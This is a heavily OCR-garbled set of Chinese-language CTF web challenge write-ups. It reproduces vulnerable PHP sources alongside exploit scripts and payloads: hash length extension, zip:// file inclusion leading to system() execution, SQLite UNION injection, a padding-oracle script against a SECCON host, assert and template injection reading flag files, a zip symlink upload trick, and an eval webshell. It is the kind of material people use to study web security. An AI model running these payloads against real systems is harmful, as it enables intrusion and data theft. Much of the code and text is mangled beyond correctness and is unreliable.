}, $parsed);
return $parsed;

N

<?ph

ec o?"Flag is in _the file 'flag' in this path\n";
requ1re_once('s$1.gh ");

$parser = new TinySSI;

1f(1sset($_GET['name']))i

ech% ;Your name is " . $parser->parse($_GET[ 'name']));
exit();

?>
<!--#include virtual="flag" -->

ﬁﬁtmf%

/i
A~ 1=

A BN ?
A 4

BRER I JLASTCPIAL, & Ishell.pho, JG>REETCPHiLH E#FE B I flag



TN B R, R T - THR

ag.tar.gz 2016-06-27 08:45:38 203 0666
log.txt 2015-06-03 12:18:46 1502 0666
news.asp 2014-06-27 03:44:24 365 0666

SaveFile. asp 2014-06-27 05:45:08 822 0666
testNull.php 2014-07-17 08:06:14 16 0666
upload. html 2014-06-27 05:27:46 364 0666
webshell php .2014-07-21 05:52:36 18 0666
xiaoma.asp;.jpg 2014-07-04 08:17:18 1312 0666

ﬁ%ﬂg ciﬁggo PSapne. ﬁgﬁ?j’iﬁﬂBjC#F

7747 Ox1E43 g21p comgressed data, from U
nix, last modified: 2016-06-27 08:44:3

$RE dd if=caidao.pcapng of—l.g21p skip=7747 bs=1

fRJE B CTF tar -xvf 1.gzi
$21p stdin: decompre551on OK, trailing garbage ignored

g/
flag/fla cExt
tar: Child returned status 2 .
tar: Error is not recoverable: exiting now

ATE#ESH? LR

% B, % Egeg%%m % tpg’et e1°1 WK TCP IR
EEE% ,X conta1ns "WZA"] R#I getshell %
a1ns comman

co
YA

\>ty e s4cr4t.txt
%ﬁe s4cr4t txt
8 URntkb195b3VbelrZVQmelmZmVny
\>shutdown -r -t 100 -m "Stupid Manager!"
shutdown -r -t 100 -m "Stupid Manager!



35}5%?_3 zio

1mport hashpumpy

import urllib

from urlparse 1mBort parse_qgsl
from zio import

1mport re, string, itertools

io = zio({'117.56.13.182", 8888))
io.read until(' Command '3
io.writéeline( 2'

io.writeline('9'’
io.read_until('Your order:\n')

c = io. readllne( \n")

d = parse )

hash = d[3?[1 .Strip() ]
pr = 'product= Fla g&price=99999&timestamp=%s'%(d[2][1])
print hash, pr

for i in range(s, 32)

ret = hashpu shpump (has r, '&rice=233', i
order = 'VQ&SEyn-/s p%( g t[1 ]; p 9 > 1)
io.writeline('3')

io.read_unti é

io.writeline order

1o.read_unt1 ('Command: ')

from gwn import *

# context.log level = 'debug'’
import hash pumg

p = remote("117.560.13.182",8888)

p.sendline('2'
g .sendline('9’ e .
imestamp = p.recvuntil("&sign=")[-22:-6]

sign = p, recvuntll("\n")
sign = si 1
pr = "pro uct Flag&price=99999&timestamp="+timestamp

fggtl 1ﬂa§ﬁ35ﬁ§§ ﬁ%sh p n pr "&price=11",1i)
order = '%s&sign=%s’ /(re% ? r ]5 ’

temp =_p.recv
if "Well™ in emp:
print M------m oo >>>>>" ,temp
exit
.sen 1ne( 3')

B recv
E .send 1ne str%order )

#flag{Hash leNgth eXt%nslon attack !S) E@sv}

E—F

NP E R IR .
ﬁggﬁgs/i?i 198.29.45:32406/?nace=pbhn://filter/read=convert



- - r-r - - —— - —- - —_=—— —_————— — - =

.base64-encode/resource=index °
ugload .php

error _reporting(0);
function show_erronr message(%messa e)
die("<div _class=\"msg error messa ge\">

<% class=\"fa fa- exc amation-triangle\" ></1>$message</d1v
2°)5

}

function show_message($message) {
echo("<div cTass=\"msg success\’ id=\"message\">
<i class=\"fa fa-exclamation-triangle\" ></1>$message</d1v

>")s
}
function random str($1ength = "32") i
$Eet :.Fﬁr‘r‘a ( a , A , b , , Ilcll, Ildll, "D"’ Ilell,
L"llgl,l’ IIG’I, llh?l’ "H", Ilill, "I", IIJII’ llJll, Ilkll "K"’ II1II [ 1]
I’l [ 1] n n [ 1] n mn n [ 1] n [ 1] n n n n mn n n [ 1] [ 1] n n [ 1]
R" m*, "M, "n", "N°, "0o", "0°, "p°, P, "q, Q, r,
I’l [ 1] n [ 1] [ 1] [ 1] mn n n n n n n n mn mn n n [ 1] [ 1] n n [ 1]
X" s’, 'SY, "t, T, » U, v, VT, Twh, WY, X7,
I’l [ 1] n n [ 1] [ 1] mn n [ 1] [ 1] n n n n mn mn n n [ 1] [ 1] n n [ 1]
g" Y2 )Y » 'z, 27, "1, "2%, "3%, "4°, 5%, "6, "7,
$str ="1";

1:gr‘hqlm’i %an§;0<_cgaﬁ¥%$2ét;+§li)g
$str .= $set[$ch

filename = './uP104Ds/' . $str . ' ';
return $str;

session_start();

%mégﬁp%ﬁ Ipne/’s,
%ﬁﬂﬁﬁ%&q;””?%ﬁ ey ul

$ss = mt rand

$hash session_id(

setcookleﬁ ESSION' hash t1meéi + 3600);
e 3be

/] SESSIO 6bf37f5éf6f9f2§ee834 b73cac 4bfeacdfds4o

4d5c 1441ffef3al8
%i%? ﬂk %& 352940737

_Tﬁb 3281694990 3281694991 981279433

3t t /uP104Ds/x1KZUYfp47D11cHKvG284VIY64sIIth test.pngi2
es
zip: uB184Ds/u}éoLxXH6C3FBakm7buwAMVQGR32wRoG test.pngi2

3test

3t t /uB184Ds/ ugRX9Vq71209Tq67KrDbER1YpMJZGp test.pngi2
es in

_zip: [/uB184Ds ﬁ QGDPmMEyttuAQABSblc3MzOf0TKSa4 test.pngi2



5te5t&a B 81nroh
1 4Ds/ 4zDu3QZU6pbeFFL18ax8TKMDwusUqu test.pngi2
3test a phpinfo();

*/

zip: é/uP104Ds/Ah86F1AngsLc8UUJkHPZRKMoCM3XUdT test.pngk2
3test&a=phpinfo(

/uP104Ds /NugRX9vVq7I1209Tq67KrDbER1YpMjZGpI_test.png

h21pf/él)1P104Ds/OJOqKNhlJZUngFKGTVLHvk99BZNeJ-F6 1.pngl&a=p
p1nTo();

Zﬁp //u¥104Di/fd53uXk1hJEypt34ZBr7leEuSvaGSo 1.png/1&a=
echo system('ls
zﬁp /¥u¥1o Di/s éLyW?GqJK8$n1$UB7RCBERGerp12n 1.png/1&a=
echo system

zip /yuPlo Ds/0 6qKNhlJZUngFKGTVLHvk99BZNle6 1.png/1&a=
echo system('1ls’ },

if ($_FILES["file"]["error"]
show_error_message("U load ERRO Return Code: " . $ FIL
ES["fiTle-upload-field"

chggkz = ((($_FILES["file-upload-field"]["type"] == "ima

"error' ])

e/

%) T ($_FILES["file-upload-field"]["type"] == "image/jpeg
")Il ($_FILES["file-upload-field"]["type"] == "image/pjpe
?) || ($_FILES["file-upload-field"]["type"] == "image/png"

&& (ﬁ FILES["f11e u load f1e1d"]£"51ze ; 2048001
c ec 3=1preg_match E ?athlnfo $ FILES['file-up oad-fi
‘name’ ], PATHINFO_EXTENSION

if ($check3) show_error_message("Nope!");
if ($check2) {
ename = uP104Ds/ . random_str() . '_' . $ FILES[
'f11e upload- -field" L E
if (move u loaded 11e($ iLES[ file-upload-field' ][ "tmp
_hame’], $¥ilename)
show’ message UR oad successfully File type:" . $ FILE
S['file-upload-tield"]["type’ ;
d} else show_error message( omethlng wrong with the uplo
a
}ﬁlse{ ("only allow gif/jpeg/png il 11
show_error _message("only allow gi eg/png files smalle
JEhan—206kbT") 2 g S YA

L

index.php
<?php .
error_reporting(9);



O T e 1)
$pagoct CETL panasy;
}else

$page=null;

1f( reg matchi /\. \ /" ,$page){"{ . .

o <div class=\ error\"” id=\"message\">
<1 class= \ ‘fa fa- exclamatlon tr1ang1e\"><§1>Attack Detect
ed'</d1v> 5

die();
i
<2php
if(spage) {
ir(!(include($page. ' .php'))) {
echo "<div ¢ ass=\" msg error\" id=\"message\">
<i class=\"fa fa-exclamation-triangle\" ></1>error'</d1v>
) .
ex1it
} 3
R

RBBENL B T (session_ 1dﬁﬁzﬂ]ﬂ@ PHPSESS%VEDE lrn_aﬁhﬂg'glﬂsj%sﬁﬁeN)

ini_set(‘max_execution_time’,

http://111.198.29.45:30278/?p a;e zip://uP104Ds/FQclJFtaEBX
X Nuc4anlkC7HXTZn3Xx test.png/%23test test&a echo%20system
(%27cat%20. /flag-Ed198vJF8hnI cEXt%27)
xctf{3fbbe15371¢9cd42ec1a698d7660849a xctf{3fbbe15371c9cd
42ec a698d7666849a£

http://111.198.29.45:30278/?p age zip://uP104Ds/FQclJFtaEBX
2 ggi49§§1kC7HXTZn3Xx test.png 23test/test&a= echo%20system

S

SS_flag- d198vJF8hnIp txt index.html index.php js uP104Ds
unload.php upload.php



function dechiffre(pass enc)é

Ggagng§§.= “70,65,35,88,32,80,65,83,83,87,79,82,68,32,72,
var tab ’= pass_ enc sp11t( ' )s

var tab2 = pass.sp ),

var é,],k,l-e ,m,n o,p =

= tab 1en th;
=% +tn0),
=ab21enth . .
p(tbo=e,1<(k=J=n)s1++){
= tabl[i-1

f?_ Strlgg .¥romCharCode((o = tab2[i]));
1 ==

break;

;or(ltabﬁo =0); i < (k = j =n); i++ ){
&& 1

if(i > g
p += String. fromC arCode((o = tab2[i]));

p += Strlng fromCharCode(tab2[17]);
pass = p;
return pass;

tring "fromCharCode"]§dech1ffre("\x35\x35\x2c\x35\x36\x2c
\Xx35\%X34\x2c\x37\x39\x2c\x31\x31\x35\x2c\x36\x39\x2c\x31\x
%1\334\x2c\x31\x31\x36\x2c\x31\x30\x37\x2c\x34\x39\x2c\x35
X3

55,56,54,79,115,69,114,116,107,49,50

h = window.prompt('Enter password’
alert( dechgffrg(ﬁ) ): . )3

.F

0
0
p
i

HxAMBE D login. ,php admin.php, H_"_IU\Ei%ﬁ% robots.txt
1-- TODO: Remove ter! -->

EI:L login.php? debug 1 %Ea ﬂﬁe
.Bh

>o _start();

1félsset($ POST[ 'usr ]} && isset($_POST[ 'pw'])){
user = 3 _POST[ 'usr
$pass = $ POST[ 'pw'];

$db = new SQLite3('../fancy.db');

$res = $db- >8uer y("SELECT id,name from Users where name=
1c%gser‘) password="".shal($pass."Salz!").""");
if($res

$row = ires->fetchArray(),

else{ "
echo "<br>Some Error occourred!";



1f(1sset($row[ id! ])){

setcookie( 'name’, .$row[ "'name’'], time() + 60, '/');
header( Location: /");
die();

}

if(isset($_GET[ 'debu

hgghllgﬁ%_fllg( 1og§n]p%p ")s

<'-- TODO: Remove ?debug-Parameter! -->

3?#% sq11te AN 2% E https://www.anquanke.com/post/id/

RERER

usr= 111' union select 1,name FROM sqglite_master WHERE type
%?blsL limit o,1 --&pw-f
#* Users

REBAEREH
usr=111" union select 1,sql FROM sqlite_master WHERE type=

"table’' limit 0,1 --&pw-f

CREATE TABLE Users(

id int p r1mar¥ key,
name varchar(255)
Rassword varchar(ﬁSS),

int+varchar(255)

usr=111' union select 1, name FROM users limit 0,1 --&pw=Ff
admin 3fab54a50e770d830c0416df817567662a9dc85c¢ my+fav+word
+in+my+fav+paper

@Mﬁi%%ﬁWMFTﬁT* BATXEF wget #BHTH: wget

XXX.com -r -np -nd -A

-r: I3 4b ¥
np: (url
-nd %E] T@%ﬁ; %—Hg*ﬁii (url B2 KEHXEW

-A type:

% https://chybeta.github.io/2017/10/22/Hack-1u-CTF-2017

§£§?ts§iggce wrlteup/
rom cStrlngIO import StringIO

from pdfminer.pdfinterp import PDFResourceManager, PDFPage
Interpreter

from pdfminer.converter import TextConverter

from pdfminer.layout import LAParams

from pdfminer.pdfpage import PDFPage

import sys

import string

import os

im ort hash11b

de Pdf$

nn+||nn

nn 1 in Ac Tact+Adinl/" /"\ 3£ 13 andcun+Fh/"nA£"\1



1 CSLul 11 L LIl VO e dlo LUl (4 l L1 J.QCIIUDWLLII\ Pul IJ

def convert pdf 2 text path):
rsrcmgr = PDFResource anager()
retstr = StrlngIO()
device = TextConverter(rsrcmgr, retstr, codec='utf-8', la
params=LAParams
interpreter = PageInterpreter(rsrcmgr, device)
with open(path, 'rb™) as fp:
for page 1in P6FPage get_ pages(fp, set()):
1nterpreter process_page(page)
text = retstr.getvalue( §
device.close
retstr.close
return text
def f1nd passwordé%
pdf p
for~ 1 1n pd ]
print "Searc 1ng “word 1n + 1. )
pdf_text = convert gdf _text(i).split(" ")
for word in pdf_teXx )
shal password = hash11b shal(word+"Salz!").hexdi estéz
a

» SE sﬁal _password = "3fab54a50e770d830c0416df8175676
c85c¢c'
pr1nt 'Find the password :" + word
. exit() .
if name__ == " main__":

find_password()
?§i§ https://wu.rot26.team/CTF/Hacklu/2017/web/flatscience

find -name *.pdf -exec pdftotext {} \;

mkdir txts

find -name_* .txt -exec cp {} txt .

for i in "1s”; do tr -c '[: alnum ] [\n*]' < $i | sort |
uniq ; done > wordlist

import hashlib
from tqdm import tqdm

with open('wordlist’') as_words:
values___ = words.readlines()
for word 1n tqdm __values_ ):
word = word[ :-
hash_object = hashlib.shal(b""+word+"Salz!")
hex _dig = hash_object.hexdi esté%
if 3fab54a50e776 830c0416dT817567662a9dc85c" in hex _dig

print word



<?ph¥,
function random_num(){

0

$byte = openssl random_pseudo bytes(10, $cstrong);
$num_= ord($byte);

} while ($num >= 250);

if(!$cstrong){ )
response_error('server need be checked, tell admin');

$num /= 25;
return strval(floor($num));

function random win_nums(){
re?glte= é:37 $i++){
or($i=0; $i<7; $i++
$result’ .= raﬁdom_num();

return $result;

same_count = 0;

or($1=0; $i<7; $i++){. .
if($numbers[$1] == win_numbers[$i]){
$same_count++;

R
TR S A
? wpL g,

ﬁ%%ﬁé,%%ﬁﬁﬁi,%%ﬂ%ﬂo

‘action”:"buy", "numbers":[true,true,true,true,true,true,t

rue]}
448 LERARRRRBRIRRR U  omn, w7
o] DXEEPE — R % e IR TR, SR B o R n 56 VE A B 3% 4R 75 Flag i

XML DE, TREFET, ARAEE.

http://111.198.29.45:31444/?page=111%27)%200r%20system(%27
cat’s20templates/flag.phn%27)7%3b%23

#mfw csaw-ctf-2016-quals
githack 18 2|55



< ? hE mn n n L1
e = "templates/" . $page . ".php";

// I heard '..' is dangerous! .
assert("strpos('$file’', '.."') === false") or die("Detecte
d hacking attempt!");

// TODO: Make this look i ce
assert( 'file _exists('$file’')") or die("That file doesn't
§§1st

11.198.29.45: 31444459§§e =111%27)%200r%20system(%27

Eﬂ%?? :ﬂgé?t%ﬁé%Ff%ﬂg php 3b%23

hEEps ://github.com/ernw/ctf-writeups/tree/master/csaw2016/

GET /gost Wtf’post—. o/o o/o o/o o/o o/o o/o o/o o/o o/o o/o ./tmp/Wt
runtime/wtf.sh/users*

USERNAME admin; TOKEN= uYg1NNf/X6/0foqmsuoKFEtRl DwaSZT6L

dHDRwH503x4bL4st0RM217K hAmTMvr8Sem++f1dPOscW7g3w=

https://germey.gitbooks.io/python3webspider/7.1-Selenium%E7%9A%84%EA%BD%BF%E7%94%A8 . html

https://login.live.com/login.srf?wa=wsigninl.0&rpsnv=13&ct=1548080354&rver=7.0.6738.0&wp=MBI_SSL&wreply=https:%2
F%2Faccount.microsoft.com%2Fauth%2Fcomplete-signin%3Fru%3Dhttps%253A%252F%252Faccount.microsoft.com%252F%253Fref
d%253Dlogin.live.com%2526ru%253Dhttps%25253A%25252F%25252Faccount.microsoft.com%25252F%25253Frefd%25253D1login. 11

ve.com&lc=205281d=292666&1w=1&f1l=easi2
W pid: iel1e

https://login.live.com/login.srf?wa=wsigninl.0&rpsnv=13&ct=1548080354&rver=7.0.6738.0&wp=MBI_SSL&wreply=https:%2
F%2Faccount.microsoft.com%2Fauth%2Fcomplete-signin%3Fru%3Dhttps%253A%252F%252Faccount.microsoft.com%252F%253Fref
d%253Dlogin.live.com%2526ru%253Dhttps%25253A%25252F%25252Faccount.microsoft.com%25252F%25253Frefd%25253D1login. 11

ve.com&lc=205281d=292666&1lw=1&f1l=easi2
#igid: 10118

Docker
docker pull sysucsa/ctfs_docker:seccon2016_web_biscuiti
docker run -d -p 8000:80 sysucsa/ctfs_docker:seccon2016_web_biscuiti

MASHAEREL, E/R T EHEK docker
http://ssst@n3.github.i0/2017/01/16/2017-01-16-biscuiti/#more

https://blog.csdn.net/qq_19876131/article/details/53674972

=N
https://blog.tinduong.pw/2016/12/11/seccon-quals-2016-biscuiti-web-crypto-300-write-up/
ERHNAE: sqliEA, php FFRBLE (FHHEATMHE) , cbc padding oracle attack

HEREFT index.php K&
EANTE
o oo oooooos foscocoosoooooonoonsonoonos +

| username | enc nassword |


http://wtf.sh
http://wtf.sh

| admin | wCgHsleDcCePiImvDZzwXw==
o coooooooe focoocoossssssssssoossoanne +

<?php

error_reporting(0);
define("ENC_KEY", "***censored***");
define("ENC_METHOD", "aes-128-cbc");

if (!extension_loaded('pdo_sqglite')) {

header ("Content-type: text/plain");

echo "PDO Driver for SQLite is not installed.";
exit;

}

if (!extension_loaded('openssl')) {
header("Content-type: text/plain");

echo "OpenSSL extension is not installed.";
exit;

}

/*
Setup:
CREATE TABLE user (
username VARCHAR(255),
enc_password VARCHAR(255),
isadmin BOOLEAN
)
INSERT INTO user VALUES ("admin", "***censored***" , 1);
*/

function auth($enc_password, $input) {
$enc_password = base64_decode($enc_password);
$iv = substr($enc_password, 0, 16);
$c = substr($enc_password, 16);
$password = openssl_decrypt($c, ENC_METHOD, ENC_KEY, OPENSSL_RAW_DATA, $iv);
return $password == $input;

// XBERRFHRALE, HFMH, openssl_decrypt 7EMBEHIRN&IRE false, FrBARAIME—A passwd=0 BI®], HXPERE

function mac($input) {

$iv = str_repeat("\0", 16);

$c = openssl_encrypt($input, ENC_METHOD, ENC_KEY, OPENSSL_RAW_DATA, $iv);
return substr($c, -16); // RiREITE+7506

}

function save_session() {
global $SESSION;
$j = serialize($SESSION);
// a:2:{s:4:"name";s:4:"aaaa";s:7:"isadmin";N;} + xxx
// ¥ session FHLEHFRHEHETHELSAN cookie
$u = $j . mac($3);
setcookie("JSESSION", base64_encode($u));
}

// BEIERMRRIE session BEHEM, 5 mds 2l
function load_session() {

global $SESSION;

if (!isset($_COOKIE["ISESSION"]))

return array();



$u = base64_decode($_COOKIE["ISESSION"]);
$j = substr($u, @, -16); // session
$t = substr($u, -16); // J& 16 P NUARTAING mac
if (mac($j) !== $t)
return array(2);
$SESSION = unserialize($j);

function _h(%$s) {
return htmlspecialchars($s, ENT_QUOTES, "UTF-8");
}

function login_page($message = null) {
if (isset($message)) {

echo " «<div>" . _h($message) . "</div>\n";

function info_page() {
global $SESSION;
printf("Hello %s\n", _h($SESSION["name"]));
if ($SESSION["isadmin"]) // —EEFMIUA include flag
include("../flag");

if (isset($_POST['username']) & isset($_POST[ 'password'])) {
$username = (string)$ POST['username'];
$password = (string)$ POST[ 'password'];
$dbh = new PDO('sqlite:users.db');
$result = $dbh->query("SELECT username, enc_password from user WHERE username='{$username}'");
[/ BREMEE, BEEEA
if (!$result) {
login_page("error");
$info = $dbh->errorInfo();
login_page($info[2]);
¥
$u = $result->fetch(PDO::FETCH_ASSOC);
if ($u && auth($u["enc_password"], $password)) {
$SESSION[ "name"] = $u[ 'username'];
$SESSION["isadmin"] = $u['isadmin'];
// AMBEEEERBEE isadmin, FTLLXEERN 0
save_session();
info_page();
}
else {
login_page("error");
}
}

else {
load_session();
if (isset($SESSION["name"])) {
info_page();
}
else {
login_page();
}
}



from Crypto.Util.number import *
from Crypto.Cipher import AES
import requests, time, base64

def xor(a, b):
return "".join([chr(ord(a[i]) ~ ord(b[i % len(b)])) for i in xrange(len(a))])

def add_pad(s):
block_len = 16
pad_len = block_len - len(s)
return s + chr(pad_len)*pad_len

def padding_oracle_attack(cipher, plain):
after_dec = ""

for k in range(1, 17):
for i in range(@, 256):

pad = xor(after_dec, chr(k)*(k-1))

iv = "A"*16

c = "A"*(16-k) + chr(i) + pad + cipher

assert len(iv + c) == 48

uname = "' UNION SELECT 'a', '%s" % (base64.b6dencode(iv + c))
url = "http://biscuiti.pwn.seccon.jp/"

payload = {"username":uname, "password":""}

r = requests.post(url, data=payload)

if r.text.find("Hello") < O:
after_dec = chr(i ~ k) + after_dec
print after_dec.encode("hex")
break

assert len(after_dec) == 16
prev_cihper = xor(after_dec, plain)
return prev_cihper

uname = UNION SELECT 'aaaaaaaaaaaaaaaaaaaaaaaaaa’, 'hoge"
url = "http://biscuiti.pwn.seccon.jp/"

payload = {"username":uname, "password":""}

r = requests.post(url, data=payload)

jsession = r.headers['set-cookie'].split("=")[1].replace("%3D", "=")

u = base64.b64decode(jsession)
j = u[:-16]
mac_j = u[-16:]

[j[i: i+16] for i in range(@, len(j), 16)]
= [""1*s

P[4]
C[4]

add_pad(P[4])
mac_j

for i in reversed(range(1,5)):
C[i-1] = padding_oracle_attack(C[i], P[i])

# C = ["88bb7c4931651cb975e48e9008c1a911".decode("hex"),
# "6106b1d3251bea689f161c65d85705eb" .decode("hex"),



# "fco4f5ccfdcfedo64cf3200eace65257" .decode("hex"),

# "d48fa8585b30d06b5b5515659b5F03d8" . decode("hex"),
# "a853d2fb8dc8d23b5bcal33bb84039d7" .decode("hex")]
P[4] = add_pad("b:1;}")

P[2] = xor(xor(P[4], C[3]), C[1])

uname = "' UNION SELECT 'aaaaaaaaaa%s', 'hoge" % P[2]

url = "http://biscuiti.pwn.seccon.jp/"
payload = payload = {"username":uname, "password":""}
r = requests.post(url, data=payload)

jsession = r.headers['set-cookie'].split("=")[1].replace("%3D", "=")
u = base64.b64decode(jsession)

u[:-16]
mac_j = u[-16:]

.
1}

[j[i: i+16] for i in range(@, len(j), 16)]
= [""]*5

P[4] = add_pad(P[4])
C[4]

mac_j

for i in reversed(range(3,5)):
C[i-1] = padding_oracle_attack(C[i], P[i])

# C[2] = "3d469b651494c9a3289e00191a6bafb6".decode("hex")

jsession = base64.b6dencode('a:2:{s:4:"name";s:26:"aaaaaaaaaaaaaaaaaaaaaaaaaa"”;s:7:"isadmin";b:1;}"'+C[2])
url = "http://biscuiti.pwn.seccon.jp/"

header = {"Cookie":"JSESSION=%s" % jsession.replace("=","%3D")}

r = requests.post(url, headers=header)

print r.text

RIRIE, BHEMaEKasT

BEEAHNTHR, system($_GET['cmd']), antswordi®#, #EA L, WHERdocker/B LA &#I 8 23

Bidideval, RL&HLOWAE, PHPHRISETLIE, AT T scandir('../'), WA flag.php, WEKESHZREFLag. php,
file_get_contents("../flag.php")BREKRF, RHL—3) highlight_file() BIhT
http://111.198.29.45:32032/upload/1548320743.2.php?cmd=highlight_file("../flag.php");

B R

One day, Bob said “PHP is the best language!”, but Alice didn’t agree it, so Alice write a website to proof it.
She published it before finish it but I find something WRONG at some page.(Please DO NOT use scanner!)

<!--Flag @ /opt/flag_lde36dff62a3a54ecfbc6elfd2ef@adl.txt-->

<l--Salt @ /opt/salt_b420e8cfb8862548e68459aeld37ald5.txt-->
http://111.198.29.45:32058/%7B%7B" '['__cla'+'ss__ "]J['_mr'+'o__ "]J[2]['__subcla'+'sses_ ']()[40]('opt/flag_lde36d
ff62a3a54ecfbceelfd2efOadl.txt"').next()%7D%7D

python MREN

https://www.freebuf.com/column/177864.html

https://portswigger.net/blog/server-side-template-injection
https://hwhxy.github.io/ctf/2018/07/26/%EA%BB%8ECTF%EA%B8%AD%ES5%AD%AG%EA%BO%AOKE6%AB%ALKEE%OD%BF%E6%B3%A8%ES%85%
AS%E6%B2%99%E7%9B%92%E9%80%83%E9%80%B8/



BE#R: = FERETORET REEHEMBRS WEIE, EHREBEEMERT, RE—LBETTAREKRIRE.
FRRESBHEMR T —T, T FSQLEAN, £&BkE3)id=1, id=2¥ &M, F Twp, BHEBRZBEWB1d=2333, FTFEMFEK
wp: https://www.secpulse.com/archives/67980.html https://www.secfree.com/article/695.html

BH wp KREREE

php://filter/read=convert.base64-encode/resource=index
BELSGXHEERAE, HRSET ://
BH#r: flag/flag/flag/flag/flag/flag/flag.php

HEAT—EKEZR, 83— .index.php.swp
<?php

error_reporting(0);

// BR# php REEVFH I EF
ini_set('open_basedir', '/var/www/html"');

function autoload($page) {
if (stripos($_SERVER['QUERY_STRING'], 'flag') > @) {
die('no flag flag flag flag !');
}

if (stripos($_SERVER[ 'QUERY_STRING'], ‘'uploaded') > 0) {
die('no uploaded uploaded uploaded uploaded !');
}

if (stripos($_SERVER['QUERY_STRING'], '://f') > @) {
die('no ://f ://f ://f");
}

if (stripos($_SERVER['QUERY_STRING'], 'ata') > @) {
die('no ata ata ata');

}

if (stripos($_SERVER['QUERY_STRING'], '@') > @) {
die('no @ @0 0');
}

if (file_exists("./includes/$page.php")) {

include "./includes/$page.php";
} elseif (file_exists("./includes/$page")) {

include "./includes/$page";
} else {

echo "File is not exit ";

}
}

function download($adfile, $file) {
//0nly Administrators can download files .
$cert = 'N';
if (isset($adfile) && file_get_contents($adfile, 'r') === 'Yeah Everything Will Be Ok My Boss') {
echo "Welcome ! You Are Administrator !";
$cert = 'Y';
} else {
echo "errorl";

}



if ($cert === 'Y") {
if (stripos($file, 'file list') != false) {
die('error4');
}
if (stripos($file, 'file_list') >= 0) {
header('Content-Deion: File Transfer');
header('Content-Type: application/octet-stream');
header('Content-Disposition: attachment; filename='. basename($file));
header('Content-Transfer-Encoding: binary');
header('Expires: 0');
header('Cache-Control: must-revalidate, post-check=0, pre-check=0");
header('Pragma: public');
header('Content-Length: ' . filesize($file));
readfile($file);
} else {
die('error2');
}
} else {
echo ‘'error3’;
}
}

if (lisset($_GET['page'])) {
$page = 'index';

} else {

$page = $_GET['page'];

}

if (stripos($page, './') > @) {
die('no ./ ./ ./ ./');

}

if (stripos($page, '://') > @) {
die('no :// :// ://");

}

autoload($page);

if (isset($_GET[admin]) && isset($_GET[file])) {

if (stripos($_GET[admin], 'flag') > @ || stripos($_GET[file], 'flag') > @) {
die('not flag flag flag falg !');

)

if (strlen($_GET[file]) >= 38) {
die('too long');
}

download($_GET[admin], $ GET[file]);
}

?admin=php://input&file=includes/upload.php
REEMEREARAEIE, PTUA B/ stripos($file, 'file list') ANTEE, EBZ AR T KRG

upload.php

<?php

if (stripos($_SERVER['QUERY_STRING'], 'flag') > @) {
die('no flag flag flag flag !');

}

if (lempty($_FILES)) {
//properties of the uploaded file
$name= $ FILES["filename"]["name"];

L S . d FrTIrclfMeCil anmama AT AT .



PLYPE= P_FLLED| TLiielldille || Lype ],
$size= $_FILES["filename"]["size"];
$temp= $_FILES["filename"]["tmp_name"];
$error= $_FILES["filename"]["error"];

if (strlen($name) >= 6) {
die('name is too long !');

}

if (stripos($name, './') > @) {
die('invalid parameter');

}

/] BEAE—A php JFKREIXAH
if (stripos($name, 'php') > 0) {
die('invalid parameter');

}

/] =R—T %00 #Wi, php.php%eo.jpg, KM, KEBILT
if (substr($name, -3, 3) !== 'zip' && substr($name, -3, 3) !== 'jpg'

die('file can not upload ! ');

}

if ($error > 0) {
die("Error uploading file! code $error.");
} else {

if ($type !== "application/zip" || $size > 400) {//condition for the file
die("Format not allowed or file size too big!");

} else {
if (file_exists('includes')) {

move_uploaded_file($temp, "includes/uploaded/" .$name);

echo "Upload complete al!";

shell exec('sh /var/www/html/includes/unzip.sh");

} elseif (file_exists('uploaded')) {

move_uploaded_file($temp, "uploaded/" .$name);

echo "Upload complete!”;

shell exec('sh /var/www/html/includes/unzip.sh");

}
}

}
} else {

if (isset($_GET['step']) && strlen($_GET['step']) === 20) {

if (stripos($_GET['step'], 'lag') > @) {
die('error');

}

if (stripos($_GET['step'], './') > @) {
die('error');

}

if (stripos($ _GET['step'], ' ') > 0) {
die('error');

}

if (stripos($_GET['step'], '/') > 0) {
die('error');

}

if (preg_match('/[*\w\d_ -]/si', $_GET['step'])) {
$_GET['step'] = preg_replace('/["a-zA-Z20-9_ -]/s',

die('error');

"', $_GET['step']);

&& substr($name,

-3, 3) !== "png") {



}
passthru('cat ' . 'uploaded/' . $_GET['step']);
// BRI A&
} else {
die();
}
}

// includes/unzip.sh

#/bin/bash

unzip -o ./uploaded/*.zip -d ./uploaded/

rm -rf ./uploaded/*.zip

rm -rf ./uploaded/*.*

rm -rf ./uploaded/*.*

touch /var/www/html/includes/uploaded/index.php
chmod 000 /var/www/html/includes/uploaded/index.php

<

R, XBHEHEHOTR, BRAEZRE, BRELHPHBFETRT, SMHER, RAMHFRASE N, KALERE flag
XE2F-AFBE, FAYERE, B Linux ERRESFR, SWEZFR, BH—b

¥%HE YL, autoload() EMIXA include "./includes/$page"; RWUMEAXHEE, &AM unzip.sh AE, REMBRTH .
X

XA EBIERATITH, BEEE—A xxx, REEE—THRET, WTLLEE system('cat flag'), H&E L¥KT]
BXEREHT M, [N\w\d_ -] 23 \w\d, B2 e,

BB, RmBEERE regex1ol FHR—TFHERZ

AT, BFBIRAERIF, flag FEE

FCR THERRN B ERIE, (AR BREWREN
index.php

includes/uploaded/
flag/flag/flag/flag/flag/flag/flag.php

fE includes/uploaded/ F
In -s ../../flag/flag/flag/flag/flag/flag/flag.php 12345678901234567890

TRE4R A
zip -y 1.zip 12345678901234567890
SRIGFIH passthru('cat ' . 'uploaded/' . $ GET['step']);

?step=12345678901234567890 &k Al LASZIL LR T
WEPLESR, HEERE FY T AR R R, RS IR SRR

BEMR: TiEnEERARHFMENERMEMN THAERR, HRliflag.
AEBRARBREEET, sqliEN, BHFEMITIE, sqlmap—iBK
mdSHEMRRIG, WARREILRFEW, Fsqlifa, WE—T, ERERMZMT
R, XEERAZHRER, TOERHNNEMIKASS. over



THEZEERATHEETEMBEIIRIF phps R L
<?php
session_start();

if (lisset($_GET[pagel)) {
show_source(__FILE_ );
die();

}

if (isset($_GET[page]) & & $ _GET[page] != 'index.php') {
include('flag.php');

}else {

header('Location: ?page=flag.php');

}

// B admin MRFHES

if ($_SESSION['admin']) {
$con = $_POST['con'];

$file = $_POST['file'];
$filename = "backup/".$file;

if(preg_match('/.+\.ph(p[3457]?|t|tml)$/i', $filename)){
die("Bad file extension");

} else {

chdir('uploaded');

$f = fopen($filename, 'w');

// B shell phps TCiEM@HT

// con=<?php @eval($_POST[1]);?\>&file=../1.php/.

// xctf{b7aedc3107440ed1910514cbaffd9037}

fwrite($f, $con);

fclose($f);

if (isset($_GET[id]) && floatval($_GET[id]) !== '1' && substr($_GET[id], -1)
include ‘'config.php';
